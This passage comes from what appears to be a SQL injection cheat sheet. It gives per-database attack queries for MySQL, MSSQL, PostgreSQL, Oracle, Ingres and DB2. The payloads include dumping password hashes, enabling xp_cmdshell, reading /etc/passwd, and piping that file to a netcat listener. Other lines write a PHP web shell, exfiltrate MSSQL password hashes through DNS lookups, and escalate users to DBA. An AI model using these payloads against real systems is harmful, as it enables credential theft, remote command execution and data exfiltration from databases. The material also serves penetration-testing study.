<td>SELECT  schema_name FROM information_schema.schemata; -- for MySQL &gt;= v5.0<br />SELECT  distinct(db) FROM mysql.db -- priv<br /></td>
</tr>
<tr>
<td>List Columns <br /></td>
<td>SELECT  table_schema, table_name, column_name FROM information_schema.columns  WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</td>
</tr>
<tr>
<td>List  Tables</td>
<td>SELECT table_schema,table_name FROM  information_schema.tables WHERE table_schema != 'mysql' AND table_schema  != 'information_schema'</td>
</tr>
<tr>
<td>Find Tables From Column Name</td>
<td>SELECT table_schema, table_name FROM information_schema.columns WHERE  column_name = 'username'; -- find table which have a column called  'username'<br /></td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>
<p>SELECT  host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from  0<br />SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows  numbered from 0</p>
</td>
</tr>
<tr>
<td>Select Nth Char  <br /></td>
<td>SELECT  substr('abcd', 3, 1); # returns c<br /></td>
</tr>
<tr>
<td>Bitwise AND&#160; <br /></td>
<td>SELECT  6 &amp; 2; # returns 2<br />SELECT 6 &amp; 1; # returns 0<br /></td>
</tr>
<tr>
<td>
<p>ASCII  Value -&gt; Char</p>
</td>
<td>SELECT char(65); # returns A<br /></td>
</tr>
<tr>
<td>Char  -&gt; ASCII Value</td>
<td>SELECT ascii('A'); # returns 65<br /></td>
</tr>
<tr>
<td>Casting</td>
<td>SELECT  cast('1' AS unsigned integer);<br />SELECT cast('123' AS char);<br /></td>
</tr>
<tr>
<td>String  Concatenation</td>
<td>SELECT CONCAT('A','B'); #returns AB<br />SELECT  CONCAT('A','B','C'); # returns ABC<br /></td>
</tr>
<tr>
<td>
<p>If Statement</p>
</td>
<td>SELECT if(1=1,'foo','bar'); -- returns 'foo'<br /></td>
</tr>
<tr>
<td>Case  Statement</td>
<td>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; #  returns A<br /></td>
</tr>
<tr>
<td>Avoiding Quotes <br /></td>
<td>SELECT  0x414243; # returns ABC<br /></td>
</tr>
<tr>
<td>Time Delay&#160; <br /></td>
<td><span>SELECT  BENCHMARK(1000000,MD5('A'));<br />SELECT SLEEP(5); # &gt;= 5.0.12<br /></span></td>
</tr>
<tr>
<td>Make  DNS Requests</td>
<td>Impossible?<br /></td>
</tr>
<tr>
<td>Command Execution</td>
<td>
<p>If  mysqld (&lt;5.0) is running as root AND you compromise a DBA account  you can execute OS commands by uploading a shared object file into  /usr/lib (or similar).&#160; The .so file should contain a User Defined  Function (UDF).&#160; <a href="http://www.0xdeadbeef.info/exploits/raptor_udf.c">raptor_udf.c</a> explains exactly how you go about this.&#160; Remember to compile for the  target architecture which may or may not be the same as your attack  platform.</p>
</td>
</tr>
<tr>
<td>Local File Access<br /></td>
<td>...' UNION  ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read  world-readable files.<br />SELECT * FROM mytable INTO dumpfile  '/tmp/somefile'; -- priv, write to file system<br /></td>
</tr>
<tr>
<td>Hostname,  IP Address</td>
<td>Impossible?</td>
</tr>
<tr>
<td>Create Users<br /></td>
<td>CREATE  USER test1 IDENTIFIED BY 'pass1'; -- priv<br /></td>
</tr>
<tr>
<td>Delete  Users<br /></td>
<td>DROP USER test1; -- priv</td>
</tr>
<tr>
<td>Make User  DBA<br /></td>
<td>GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv</td>
</tr>
<tr>
<td>Location  of DB files<br /></td>
<td>SELECT @@datadir; <br /></td>
</tr>
<tr>
<td>Default/System  Databases<br /></td>
<td>information_schema (&gt;= mysql 5.0)<br />mysql</td>
</tr>
</tbody>
</table>
<p><br />MSSQL:<br /></p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>SELECT @@version</td>
</tr>
<tr>
<td>Comments</td>
<td>SELECT  1 -- comment<br />SELECT /*comment*/1</td>
</tr>
<tr>
<td>Current User <br /></td>
<td>SELECT  user_name(); <br />SELECT system_user; <br />SELECT user; <br />SELECT  loginame FROM master..sysprocesses WHERE spid = @@SPID</td>
</tr>
<tr>
<td>List  Users</td>
<td>SELECT name FROM master..syslogins <br /></td>
</tr>
<tr>
<td>List  Password Hashes<br /></td>
<td>SELECT name, password FROM  master..sysxlogins -- priv, mssql 2000;<br />SELECT name,  master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv,  mssql 2000.&#160; Need to convert to hex to return hashes in MSSQL error  message / some version of query analyzer.<br />SELECT name, password_hash  FROM master.sys.sql_logins -- priv, mssql 2005;<br />SELECT name + '-' +  master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins  -- priv, mssql 2005</td>
</tr>
<tr>
<td>Password Cracker</td>
<td>MSSQL  2000 and 2005 Hashes are both SHA1-based.&#160; <a href="https://labs.portcullis.co.uk/application/phrasen-drescher/">phrasen|drescher</a> can crack these.<br /></td>
</tr>
<tr>
<td>List Privileges</td>
<td>Impossible?<br /></td>
</tr>
<tr>
<td>List  DBA Accounts</td>
<td>TODO<br />SELECT is_srvrolemember('sysadmin'); -- is  your account a sysadmin?&#160; returns 1 for true, 0 for false, NULL for  invalid role.&#160; Also try 'bulkadmin', 'systemadmin' and other values from  the <a href="http://msdn.microsoft.com/en-us/library/ms176015.aspx">documentation<br /></a> SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1  for true, 0 for false, NULL for invalid role/username.<br /></td>
</tr>
<tr>
<td>Current  Database</td>
<td>SELECT DB_NAME()</td>
</tr>
<tr>
<td>List Databases</td>
<td>SELECT  name FROM master..sysdatabases; <br />SELECT DB_NAME(N); -- for N = 0, 1,  2, ... <br /></td>
</tr>
<tr>
<td>List Columns <br /></td>
<td>SELECT name FROM  syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =  'mytable'); -- for the current DB only<br />SELECT  master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM  master..syscolumns, master..sysobjects WHERE  master..syscolumns.id=master..sysobjects.id AND  master..sysobjects.name='sometable'; -- list colum names and types for  master..sometable<br /></td>
</tr>
<tr>
<td>List Tables</td>
<td>SELECT name  FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views<br />SELECT  name FROM someotherdb..sysobjects WHERE xtype = 'U';<br />SELECT  master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM  master..syscolumns, master..sysobjects WHERE  master..syscolumns.id=master..sysobjects.id AND  master..sysobjects.name='sometable'; -- list colum names and types for  master..sometable<br /></td>
</tr>
<tr>
<td>Find Tables From Column Name</td>
<td>--  NB: This example works only for the current database.&#160; If you wan't to  search another db, you need to specify the db name (e.g. replace  sysobject with mydb..sysobjects).<br />SELECT sysobjects.name as  tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns  ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND  syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each  column containing the word 'password'</td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>SELECT  TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name  ASC) sq ORDER BY name DESC -- gets 9th row</td>
</tr>
<tr>
<td>Select Nth  Char  <br /></td>
<td>SELECT substring('abcd', 3, 1) -- returns c<br /></td>
</tr>
<tr>
<td>Bitwise  AND&#160; <br /></td>
<td>SELECT 6 &amp; 2 -- returns 2<br />SELECT 6 &amp; 1 --  returns 0 <br /></td>
</tr>
<tr>
<td>
<p>ASCII Value -&gt; Char</p>
</td>
<td>SELECT  char(0x41) -- returns A<br /></td>
</tr>
<tr>
<td>Char -&gt; ASCII Value</td>
<td>SELECT  ascii('A') - returns 65<br /></td>
</tr>
<tr>
<td>Casting</td>
<td>SELECT  CAST('1' as int);<br />SELECT CAST(1 as char) <br /></td>
</tr>
<tr>
<td>String  Concatenation</td>
<td>SELECT 'A' + 'B' - returns AB<br /></td>
</tr>
<tr>
<td>
<p>If  Statement</p>
</td>
<td>
<p><span>IF (1=1) SELECT 1 ELSE SELECT 2 --  returns 1</span></p>
</td>
</tr>
<tr>
<td>Case Statement</td>
<td>SELECT  CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1</td>
</tr>
<tr>
<td>Avoiding  Quotes <br /></td>
<td>SELECT char(65)+char(66) -- returns AB<br /></td>
</tr>
<tr>
<td>Time  Delay&#160; <br /></td>
<td>WAITFOR DELAY '0:0:5' -- pause for 5 seconds</td>
</tr>
<tr>
<td>Make  DNS Requests</td>
<td>
<p>declare @host varchar(800); select @host =  name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' +  @host + '\c$\boot.ini'''); -- nonpriv, works on 2000</p>
<p>declare  @host varchar(800); select @host = name + '-' +  master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net'  from sys.sql_logins; exec('xp_fileexist ''\\' + @host +  '\c$\boot.ini'''); -- priv, works on 2005</p>
<p>-- NB:  Concatenation is not allowed in calls to these SPs, hence why we have to  use @host.&#160; Messy but necessary. <br />-- Also check out theDNS tunnel  feature of <a href="http://sqlninja.sourceforge.net/sqlninja-howto.html">sqlninja</a></p>
</td>
</tr>
<tr>
<td>Command Execution</td>
<td>
<p>EXEC xp_cmdshell  'net user'; -- priv</p>
<p>On MSSQL 2005 you may need to reactivate  xp_cmdshell first as it's disabled by default:<br />EXEC sp_configure  'show advanced options', 1; -- priv<br />RECONFIGURE; -- priv<br />EXEC  sp_configure 'xp_cmdshell', 1; -- priv<br />RECONFIGURE; -- priv</p>
</td>
</tr>
<tr>
<td>Local  File Access<br /></td>
<td>CREATE TABLE mydata (line varchar(8000));<br />BULK  INSERT mydata FROM 'c:\boot.ini';<br />DROP TABLE mydata;<br /></td>
</tr>
<tr>
<td>Hostname,  IP Address</td>
<td>SELECT HOST_NAME() <br /></td>
</tr>
<tr>
<td>Create  Users</td>
<td>EXEC <a href="http://msdn2.microsoft.com/en-us/library/ms173768.aspx">sp_addlogin</a> 'user', 'pass'; -- priv<br /></td>
</tr>
<tr>
<td>Drop Users</td>
<td>EXEC <a href="http://msdn2.microsoft.com/en-us/library/ms189767.aspx">sp_droplogin</a> 'user'; -- priv<br /></td>
</tr>
<tr>
<td>Make User DBA</td>
<td>EXEC <a href="http://msdn2.microsoft.com/en-us/library/ms186320.aspx">master.dbo.sp_addsrvrolemember</a> 'user', 'sysadmin; -- priv<br /></td>
</tr>
<tr>
<td>Location of DB files<br /></td>
<td>TODO<br /></td>
</tr>
<tr>
<td>Default/System  Databases<br /></td>
<td>northwind<br />model<br />msdb<br />pubs<br />tempdb</td>
</tr>
</tbody>
</table>
<p><br />PostgreSQL:</p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>SELECT version()</td>
</tr>
<tr>
<td>Comments</td>
<td>SELECT  1; --comment<br />SELECT /*comment*/1;<br /></td>
</tr>
<tr>
<td>Current User  <br /></td>
<td>SELECT user; <br />SELECT current_user; <br />SELECT  session_user; <br />SELECT usename FROM pg_user;<br />SELECT  getpgusername();<br /></td>
</tr>
<tr>
<td>List Users</td>
<td>SELECT usename  FROM pg_user  <br /></td>
</tr>
<tr>
<td>List Password Hashes<br /></td>
<td>SELECT  usename, passwd FROM pg_shadow -- priv</td>
</tr>
<tr>
<td>Password  Cracker<br /></td>
<td><a href="http://pentestmonkey.net/blog/cracking-postgres-hashes/">MDCrack</a> can crack PostgreSQL's MD5-based passwords.</td>
</tr>
<tr>
<td>List  Privileges</td>
<td>SELECT usename, usecreatedb, usesuper, usecatupd FROM  pg_user</td>
</tr>
<tr>
<td>List DBA Accounts</td>
<td>SELECT usename FROM  pg_user WHERE usesuper IS TRUE</td>
</tr>
<tr>
<td>Current Database</td>
<td>SELECT  current_database()</td>
</tr>
<tr>
<td>List Databases</td>
<td>SELECT  datname FROM pg_database</td>
</tr>
<tr>
<td>List Columns <br /></td>
<td>SELECT  relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A,  pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND  (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum&gt;0) AND (NOT  A.attisdropped) AND (N.nspname ILIKE 'public')</td>
</tr>
<tr>
<td>List  Tables</td>
<td>SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN  pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN  ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND  pg_catalog.pg_table_is_visible(c.oid)</td>
</tr>
<tr>
<td>Find Tables From  Column Name</td>
<td>
<p>If you want to list all the table names that  contain a column LIKE '%password%':</p>
<p>SELECT DISTINCT relname FROM  pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE  (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND  (A.atttypid=T.oid) AND (A.attnum&gt;0) AND (NOT A.attisdropped) AND  (N.nspname ILIKE 'public') AND attname LIKE '%password%';</p>
</td>
</tr>
<tr>
<td>Select  Nth Row</td>
<td>SELECT usename FROM pg_user ORDER BY usename LIMIT 1  OFFSET 0; -- rows numbered from 0<br />SELECT usename FROM pg_user ORDER  BY usename LIMIT 1 OFFSET 1;<br /></td>
</tr>
<tr>
<td>Select Nth Char  <br /></td>
<td>SELECT  substr('abcd', 3, 1); -- returns c<br /></td>
</tr>
<tr>
<td>Bitwise AND&#160; <br /></td>
<td>SELECT  6 &amp; 2; -- returns 2<br />SELECT 6 &amp; 1; --returns 0<br /></td>
</tr>
<tr>
<td>
<p>ASCII  Value -&gt; Char</p>
</td>
<td>SELECT chr(65);<br /></td>
</tr>
<tr>
<td>Char  -&gt; ASCII Value</td>
<td>SELECT ascii('A');<br /></td>
</tr>
<tr>
<td>Casting</td>
<td>SELECT  CAST(1 as varchar);<br />SELECT CAST('1' as int);<br /></td>
</tr>
<tr>
<td>String  Concatenation</td>
<td>SELECT 'A' || 'B'; -- returnsAB</td>
</tr>
<tr>
<td>
<p>If  Statement</p>
</td>
<td>IF statements only seem valid inside functions,  so aren't much use for SQL injection.&#160; See CASE statement instead.</td>
</tr>
<tr>
<td>Case  Statement</td>
<td>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; --  returns A<br /></td>
</tr>
<tr>
<td>Avoiding Quotes <br /></td>
<td>SELECT  CHR(65)||CHR(66); -- returns AB<br /></td>
</tr>
<tr>
<td>Time Delay&#160; <br /></td>
<td>SELECT  pg_sleep(10); -- postgres 8.2+ only<br />CREATE OR REPLACE FUNCTION  sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT;  SELECT sleep(10); --priv, create your own sleep function.&#160; Taken from <a href="http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf">here</a> .<br /></td>
</tr>
<tr>
<td>Make DNS Requests</td>
<td>
<p>Generally not  possible in postgres.&#160; However if <a href="http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html">contrib/dblink</a> is installed (it isn't by default) it can be used to resolve hostnames  (assuming you have DBA rights):</p>
<pre>SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);</pre>
<p>Alternatively,  if you have DBA rights you could run an OS-level command (see below) to  resolve hostnames, e.g. "ping pentestmonkey.net".</p>
</td>
</tr>
<tr>
<td>Command  Execution</td>
<td>
<p>CREATE OR REPLACE FUNCTION system(cstring) RETURNS  int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv</p>
<p>SELECT  system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as  postgres/pgsql OS-level user</p>
</td>
</tr>
<tr>
<td>Local File Access<br /></td>
<td>
<p>CREATE  TABLE mydata(t text);<br />COPY mydata FROM '/etc/passwd'; -- priv, can  read files which are readable by postgres OS-level user<br />...' UNION  ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a  time<br />...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get  data back one row at a time ...<br />DROP TABLE mytest mytest;</p>
<p>Write  to a file:</p>
<p>CREATE TABLE mytable (mycol text);<br />INSERT INTO  mytable(mycol) VALUES ('&lt;? pasthru($_GET[cmd]); ?&gt;');<br />COPY  mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres  OS-level user.&#160; Generally you won't be able to write to the web root,  but it's always work a try. <br />-- priv user can also read/write files  by <a href="http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf">mapping  libc functions</a></p>
</td>
</tr>
<tr>
<td>Hostname, IP Address</td>
<td>SELECT  inet_server_addr(); -- returns db server IP address (or null if using  local connection)<br />SELECT inet_server_port(); -- returns db server IP  address (or null if using local connection)<br /></td>
</tr>
<tr>
<td>Create  Users<br /></td>
<td>CREATE USER test1 PASSWORD 'pass1'; -- priv<br />CREATE  USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at  the same time<br /></td>
</tr>
<tr>
<td>Drop Users<br /></td>
<td>DROP USER  test1; -- priv<br /></td>
</tr>
<tr>
<td>Make User DBA<br /></td>
<td>ALTER USER  test1 CREATEUSER CREATEDB; -- priv<br /></td>
</tr>
<tr>
<td>Location of DB  files<br /></td>
<td>SELECT current_setting('data_directory'); -- priv<br />SELECT  current_setting('hba_file'); -- priv<br /></td>
</tr>
<tr>
<td>Default/System  Databases<br /></td>
<td>template0<br />template1</td>
</tr>
</tbody>
</table>
<p><br />Oracle:</p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>SELECT banner FROM v$version WHERE banner  LIKE 'Oracle%'; <br />SELECT banner FROM v$version WHERE banner LIKE  'TNS%';<br />SELECT version FROM v$instance;<br /></td>
</tr>
<tr>
<td>Comments</td>
<td>SELECT  1 FROM dual -- comment<br />-- NB: SELECT statements must have a FROM  clause in Oracle so we have to use the dummy table name 'dual' when  we're not actually selecting from a table.<br /></td>
</tr>
<tr>
<td>Current  User <br /></td>
<td>SELECT user FROM dual <br /></td>
</tr>
<tr>
<td>List Users</td>
<td>SELECT  username FROM all_users ORDER BY username;<br />SELECT name FROM  sys.user$; -- priv</td>
</tr>
<tr>
<td>List Password Hashes<br /></td>
<td>SELECT  name, password, astatus FROM sys.user$ -- priv, &lt;= 10g.&#160; astatus  tells you if acct is locked<br />SELECT name,spare4 FROM sys.user$ --  priv, 11g</td>
</tr>
<tr>
<td>Password Cracker<br /></td>
<td><a href="http://www.red-database-security.com/software/checkpwd.html">checkpwd</a> will crack the DES-based hashes from Oracle 8, 9 and 10.</td>
</tr>
<tr>
<td>List  Privileges</td>
<td>SELECT * FROM session_privs; -- current privs<br />SELECT  * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's  privs<br /> SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT  ANY DICTIONARY'; -- priv, find users with a particular priv<br />SELECT  GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;<br /></td>
</tr>
<tr>
<td>List DBA  Accounts</td>
<td>SELECT DISTINCT grantee FROM dba_sys_privs WHERE  ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles</td>
</tr>
<tr>
<td>Current  Database</td>
<td>SELECT global_name FROM global_name; <br />SELECT  name FROM v$database; <br />SELECT instance_name FROM v$instance;<br />SELECT  SYS.DATABASE_NAME FROM DUAL;</td>
</tr>
<tr>
<td>List Databases</td>
<td>
<p>SELECT  DISTINCT owner FROM all_tables; -- list schemas (one per user)<br />--  Also query TNS listener for other databases.&#160; See <a href="http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html">tnscmd</a> (services | status).</p>
</td>
</tr>
<tr>
<td>List Columns <br /></td>
<td>SELECT  column_name FROM all_tab_columns WHERE table_name = 'blah'; <br />SELECT  column_name FROM all_tab_columns WHERE table_name = 'blah' and owner =  'foo';  <br /></td>
</tr>
<tr>
<td>List Tables</td>
<td>SELECT table_name  FROM all_tables;<br />SELECT owner, table_name FROM all_tables;<br /></td>
</tr>
<tr>
<td>Find  Tables From Column Name</td>
<td>SELECT owner, table_name FROM  all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are  upper case</td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>SELECT username FROM  (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;  -- gets 9th row (rows numbered from 1)</td>
</tr>
<tr>
<td>Select Nth Char   <br /></td>
<td>SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd  character, 'c'<br /></td>
</tr>
<tr>
<td>Bitwise AND&#160; <br /></td>
<td>SELECT  bitand(6,2) FROM dual; -- returns 2<br />SELECT bitand(6,1) FROM dual; --  returns0</td>
</tr>
<tr>
<td>
<p>ASCII Value -&gt; Char</p>
</td>
<td>SELECT  chr(65) FROM dual; -- returns A<br /></td>
</tr>
<tr>
<td>Char -&gt; ASCII  Value</td>
<td>SELECT ascii('A') FROM dual; -- returns 65<br /></td>
</tr>
<tr>
<td>Casting</td>
<td>SELECT  CAST(1 AS char) FROM dual;<br />SELECT CAST('1' AS int) FROM dual;</td>
</tr>
<tr>
<td>String  Concatenation</td>
<td>SELECT 'A' || 'B' FROM dual; -- returns AB</td>
</tr>
<tr>
<td>If  Statement</td>
<td>BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE  dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT  statements <br /></td>
</tr>
<tr>
<td>Case Statement</td>
<td>SELECT CASE WHEN  1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1<br />SELECT CASE WHEN 1=2  THEN 1 ELSE 2 END FROM dual; -- returns 2</td>
</tr>
<tr>
<td>Avoiding  Quotes <br /></td>
<td>SELECT chr(65) || chr(66) FROM dual; -- returns AB <br /></td>
</tr>
<tr>
<td>Time  Delay&#160; <br /></td>
<td>BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem  to embed this in a SELECT<br />SELECT UTL_INADDR.get_host_name('10.0.0.1')  FROM dual; -- if reverse looks are slow<br />SELECT  UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if  forward lookups are slow<br />SELECT UTL_HTTP.REQUEST('http://google.com')  FROM dual; -- if outbound TCP is filtered / slow<br />-- Also see <a href="http://technet.microsoft.com/en-us/library/cc512676.aspx">Heavy  Queries</a> to create a time delay<br /></td>
</tr>
<tr>
<td>Make DNS  Requests</td>
<td>SELECT UTL_INADDR.get_host_address('google.com') FROM  dual;<br />SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;</td>
</tr>
<tr>
<td>Command  Execution</td>
<td>
<p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">Java</a> can be used to execute commands if it's installed.</p>
<p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql">ExtProc</a> can sometimes be used too, though it normally failed for me. :-(</p>
</td>
</tr>
<tr>
<td>Local  File Access<br /></td>
<td>
<p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">UTL_FILE</a> can sometimes be used.&#160; Check that the following is non-null:<br />SELECT  value FROM v$parameter2 WHERE name = 'utl_file_dir';</p>
<p><a href="http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql">Java</a> can be used to read and write files if it's installed (it is not  available in Oracle Express).</p>
</td>
</tr>
<tr>
<td>Hostname, IP Address</td>
<td>SELECT UTL_INADDR.get_host_name FROM dual;<br />SELECT host_name FROM  v$instance;<br />SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP  address<br />SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --  gets hostnames</td>
</tr>
<tr>
<td>Location of DB files<br /></td>
<td>SELECT  name FROM V$DATAFILE;</td>
</tr>
<tr>
<td>Default/System Databases<br /></td>
<td>SYSTEM<br />SYSAUX</td>
</tr>
</tbody>
</table>
<p><br />Ingres:</p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>select  dbmsinfo('_version');<br /></td>
</tr>
<tr>
<td>Comments</td>
<td>SELECT 123;  -- comment<br /> select 123; /* comment */</td>
</tr>
<tr>
<td>Current User  <br /></td>
<td>select dbmsinfo('session_user');<br />select  dbmsinfo('system_user');<br /></td>
</tr>
<tr>
<td>List Users</td>
<td>First  connect to iidbdb, then:<br />select name, password from iiuser; <br /></td>
</tr>
<tr>
<td>Create  Users<br /></td>
<td>create user testuser with password = 'testuser';--  priv<br /></td>
</tr>
<tr>
<td>List Password Hashes<br /></td>
<td>First connect  to iidbdb, then:<br />select name, password from iiuser; <br /></td>
</tr>
<tr>
<td>List  Privileges</td>
<td>select dbmsinfo('db_admin');<br />select  dbmsinfo('create_table');<br />select dbmsinfo('create_procedure');<br />select  dbmsinfo('security_priv');<br />select dbmsinfo('select_syscat');<br />select  dbmsinfo('db_privileges');<br />select dbmsinfo('current_priv_mask');</td>
</tr>
<tr>
<td>Current Database</td>
<td>select  dbmsinfo('database');</td>
</tr>
<tr>
<td>List  Columns <br /></td>
<td>select column_name, column_datatype, table_name,  table_owner from iicolumns;</td>
</tr>
<tr>
<td>List Tables</td>
<td>select  table_name, table_owner from iitables;<br />select relid, relowner,  relloc from iirelation;<br />select relid, relowner, relloc from  iirelation where relowner != '$ingres'; <br /></td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>
<p>Astoundingly,  this <a href="http://community.ingres.com/forums/viewtopic.php?p=6050">doesn't</a> seem to be possible!&#160; This is as close as you can get:</p>
<p>select top  10 blah from table;<br />select first 10 blah form table;</p>
</td>
</tr>
<tr>
<td>Select  Nth Char  <br /></td>
<td>select substr('abc', 2, 1); -- returns 'b'</td>
</tr>
<tr>
<td>Bitwise  AND&#160; <br /></td>
<td>
<p>The function "bit_and" exists, but seems hard to  use.&#160; Here's an<br />example of ANDing 3 and 5 together.&#160; The result is a  "byte" type<br />with value \001:</p>
<p>select substr(bit_and(cast(3 as  byte), cast(5 as byte)),1,1);</p>
</td>
</tr>
<tr>
<td>Casting</td>
<td>select  cast(123 as varchar);<br />select cast('123' as integer);</td>
</tr>
<tr>
<td>String  Concatenation</td>
<td>select 'abc' || 'def';</td>
</tr>
<tr>
<td>Time Delay&#160; <br /></td>
<td>
<p>???</p>
<p>See  <a href="http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx">Heavy  Queries</a> article for some ideas.</p>
</td>
</tr>
<tr>
<td>Installing Locally<br /></td>
<td>The  Ingres database can be downloaded for free from <a href="http://esd.ingres.com/">http://esd.ingres.com/</a><br />A pre-built  Linux-based Ingres Database Server can be download from <a href="http://www.vmware.com/appliances/directory/832">http://www.vmware.com/appliances/directory/832</a><br /></td>
</tr>
<tr>
<td>Database  Client<br /></td>
<td>TODO<br />There is a client called "sql" which can be  used for local connections (at least) in the&#160; database server package  above.</td>
</tr>
<tr>
<td>Logging in from command line<br /></td>
<td>$ su  -&#160; ingres<br />$ sql iidbdb<br />* select dbmsinfo('_version'); \go<br /></td>
</tr>
</tbody>
</table>
<p><br />The  following areas are interesting enough to include on this page, but I  haven't researched them for other databases:</p>
<table border="1">
<tbody>
<tr>
<td><strong>Description</strong></td>
<td><strong>SQL  / Comments </strong></td>
</tr>
<tr>
<td>Batching Queries Allowed?<br /></td>
<td>
<p>Not  via DBI in PERL.&#160; Subsequent statements seem to get ignored:<br />select  blah from table where foo = 1; select ... doesn't matter this is  ignored.</p>
</td>
</tr>
<tr>
<td>FROM clause mandated in SELECTs?</td>
<td>
<p>No.&#160;  You don't need to select form "dual" or anything.&#160; The following is  legal:<br />select 1;</p>
</td>
</tr>
<tr>
<td>UNION supported<br /></td>
<td>
<p>Yes.&#160;  Nothing tricky here.&#160; The following is legal:<br />select 1 union select  2;</p>
</td>
</tr>
<tr>
<td>Enumerate Tables Privs<br /></td>
<td>select  table_name, permit_user, permit_type from iiaccess;</td>
</tr>
<tr>
<td>Length  of a string</td>
<td>select length('abc'); -- returns 3<br /></td>
</tr>
<tr>
<td>Roles  and passwords<br /></td>
<td>
<p>First you need to connect to iidbdb, then:  <br />select roleid, rolepass from iirole;</p>
</td>
</tr>
<tr>
<td>List  Database Procedures<br /></td>
<td>
<p>First you need to connect to iidbdb,  then:<br />select dbp_name,&#160; dbp_owner from iiprocedure;</p>
</td>
</tr>
<tr>
<td>Create  Users + Granting Privs</td>
<td>
<p>First you need to connect to iidbdb,  then:<br />create user pm with password = 'password';<br />grant all on  current installation to pm;</p>
</td>
</tr>
</tbody>
</table>
<p><br />DB2:</p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>select versionnumber, version_timestamp from  sysibm.sysversions;</td>
</tr>
<tr>
<td>Comments</td>
<td>select blah from  foo; -- comment like this</td>
</tr>
<tr>
<td>Current User <br /></td>
<td>select  user from sysibm.sysdummy1;<br />select session_user from  sysibm.sysdummy1;<br />select system_user from sysibm.sysdummy1;<br /></td>
</tr>
<tr>
<td>List  Users</td>
<td>
<p>N/A (I think DB2 uses OS-level user accounts for  authentication.)</p>
<p>Database authorities (like roles, I think) can  be listed like this:<br />select grantee from syscat.dbauth;</p>
</td>
</tr>
<tr>
<td>List  Password Hashes<br /></td>
<td>N/A (I think DB2 uses OS-level user  accounts for authentication.)</td>
</tr>
<tr>
<td>List Privileges</td>
<td>select  * from syscat.tabauth; -- privs on tables<br />select * from  syscat.dbauth where grantee = current user;<br />select * from  syscat.tabauth where grantee = current user;<br /></td>
</tr>
<tr>
<td>Current Database</td>
<td>select  current server from sysibm.sysdummy1;</td>
</tr>
<tr>
<td>List Databases</td>
<td>SELECT  schemaname FROM syscat.schemata;</td>
</tr>
<tr>
<td>List Columns <br /></td>
<td>select  name, tbname, coltype from sysibm.syscolumns;</td>
</tr>
<tr>
<td>List  Tables</td>
